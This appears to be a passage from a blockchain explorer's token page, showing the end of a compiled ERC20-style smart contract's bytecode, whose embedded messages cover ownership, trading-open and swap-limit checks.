156124195761241861236e565b5b5f612426858286016123bc565b9250506020612437858286016123ef565b9150509250929050565b5f8115159050919050565b61245581612441565b82525050565b5f60208201905061246e5f83018461244c565b92915050565b61247d816123d0565b82525050565b5f6020820190506124965f830184612474565b92915050565b5f805f606084860312156124b3576124b261236e565b5b5f6124c0868287016123bc565b93505060206124d1868287016123bc565b92505060406124e2868287016123ef565b9150509250925092565b5f60ff82169050919050565b612501816124ec565b82525050565b5f60208201905061251a5f8301846124f8565b92915050565b5f61252a82612376565b9050919050565b61253a81612520565b8114612544575f80fd5b50565b5f8135905061255581612531565b92915050565b5f602082840312156125705761256f61236e565b5b5f61257d84828501612547565b91505092915050565b5f6020828403121561259b5761259a61236e565b5b5f6125a8848285016123bc565b91505092915050565b6125ba81612395565b82525050565b5f6020820190506125d35f8301846125b1565b92915050565b5f80604083850312156125ef576125ee61236e565b5b5f6125fc858286016123bc565b925050602061260d858286016123bc565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61264b6020836122c5565b915061265682612617565b602082019050919050565b5f6020820190508181035f8301526126788161263f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612701578086048111156126dd576126dc61267f565b5b60018516156126ec5780820291505b80810290506126fa856126ac565b94506126c1565b94509492505050565b5f8261271957600190506127d4565b81612726575f90506127d4565b816001811461273c576002811461274657612775565b60019150506127d4565b60ff8411156127585761275761267f565b5b8360020a91508482111561276f5761276e61267f565b5b506127d4565b5060208310610133831016604e8410600b84101617156127aa5782820a9050838111156127a5576127a461267f565b5b6127d4565b6127b784848460016126b8565b925090508184048111156127ce576127cd61267f565b5b81810290505b9392505050565b5f6127e5826123d0565b91506127f0836124ec565b925061281d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461270a565b905092915050565b5f61282f826123d0565b915061283a836123d0565b9250828202612848816123d0565b9150828204841483151761285f5761285e61267f565b5b5092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61289a6017836122c5565b91506128a582612866565b602082019050919050565b5f6020820190508181035f8301526128c78161288e565b9050919050565b5f815190506128dc816123a6565b92915050565b5f602082840312156128f7576128f661236e565b5b5f612904848285016128ce565b91505092915050565b5f6040820190506129205f8301856125b1565b61292d60208301846125b1565b9392505050565b5f819050919050565b5f819050919050565b5f61296061295b61295684612934565b61293d565b6123d0565b9050919050565b61297081612946565b82525050565b5f60c0820190506129895f8301896125b1565b6129966020830188612474565b6129a36040830187612967565b6129b06060830186612967565b6129bd60808301856125b1565b6129ca60a0830184612474565b979650505050505050565b5f815190506129e3816123d9565b92915050565b5f805f60608486031215612a00576129ff61236e565b5b5f612a0d868287016129d5565b9350506020612a1e868287016129d5565b9250506040612a2f868287016129d5565b9150509250925092565b5f604082019050612a4c5f8301856125b1565b612a596020830184612474565b9392505050565b612a6981612441565b8114612a73575f80fd5b50565b5f81519050612a8481612a60565b92915050565b5f60208284031215612a9f57612a9e61236e565b5b5f612aac84828501612a76565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b0f6024836122c5565b9150612b1a82612ab5565b604082019050919050565b5f6020820190508181035f830152612b3c81612b03565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b9d6022836122c5565b9150612ba882612b43565b604082019050919050565b5f6020820190508181035f830152612bca81612b91565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c2b6025836122c5565b9150612c3682612bd1565b604082019050919050565b5f6020820190508181035f830152612c5881612c1f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cb96023836122c5565b9150612cc482612c5f565b604082019050919050565b5f6020820190508181035f830152612ce681612cad565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d476029836122c5565b9150612d5282612ced565b604082019050919050565b5f6020820190508181035f830152612d7481612d3b565b9050919050565b5f612d85826123d0565b9150612d90836123d0565b9250828203905081811115612da857612da761267f565b5b92915050565b5f612db8826123d0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612dea57612de961267f565b5b600182019050919050565b5f612dff826123d0565b9150612e0a836123d0565b9250828201905080821115612e2257612e2161267f565b5b92915050565b7f4d61782073776170206c696d69740000000000000000000000000000000000005f82015250565b5f612e5c600e836122c5565b9150612e6782612e28565b602082019050919050565b5f6020820190508181035f830152612e8981612e50565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ec4601b836122c5565b9150612ecf82612e90565b602082019050919050565b5f6020820190508181035f830152612ef181612eb8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f2f826123d0565b9150612f3a836123d0565b925082612f4a57612f49612ef8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612faf6021836122c5565b9150612fba82612f55565b604082019050919050565b5f6020820190508181035f830152612fdc81612fa3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61306f81612395565b82525050565b5f6130808383613066565b60208301905092915050565b5f602082019050919050565b5f6130a28261303d565b6130ac8185613047565b93506130b783613057565b805f5b838110156130e75781516130ce8882613075565b97506130d98361308c565b9250506001810190506130ba565b5085935050505092915050565b5f6040820190506131075f830185612474565b81810360208301526131198184613098565b90509392505050565b5f80fd5b61312f826122fd565b810181811067ffffffffffffffff8211171561314e5761314d612fe3565b5b80604052505050565b5f613160612365565b905061316c8282613126565b919050565b5f67ffffffffffffffff82111561318b5761318a612fe3565b5b602082029050602081019050919050565b5f80fd5b5f6131b26131ad84613171565b613157565b905080838252602082019050602084028301858111156131d5576131d461319c565b5b835b818110156131fe57806131ea88826129d5565b8452602084019350506020810190506131d7565b5050509392505050565b5f82601f83011261321c5761321b613122565b5b815161322c8482602086016131a0565b91505092915050565b5f6020828403121561324a5761324961236e565b5b5f82015167ffffffffffffffff81111561326757613266612372565b5b61327384828501613208565b91505092915050565b5f60a08201905061328f5f830188612474565b61329c6020830187612967565b81810360408301526132ae8186613098565b90506132bd60608301856125b1565b6132ca6080830184612474565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b893b65b73b742842a061e39883651b75dad36375acef562dcef3525966ff01a64736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.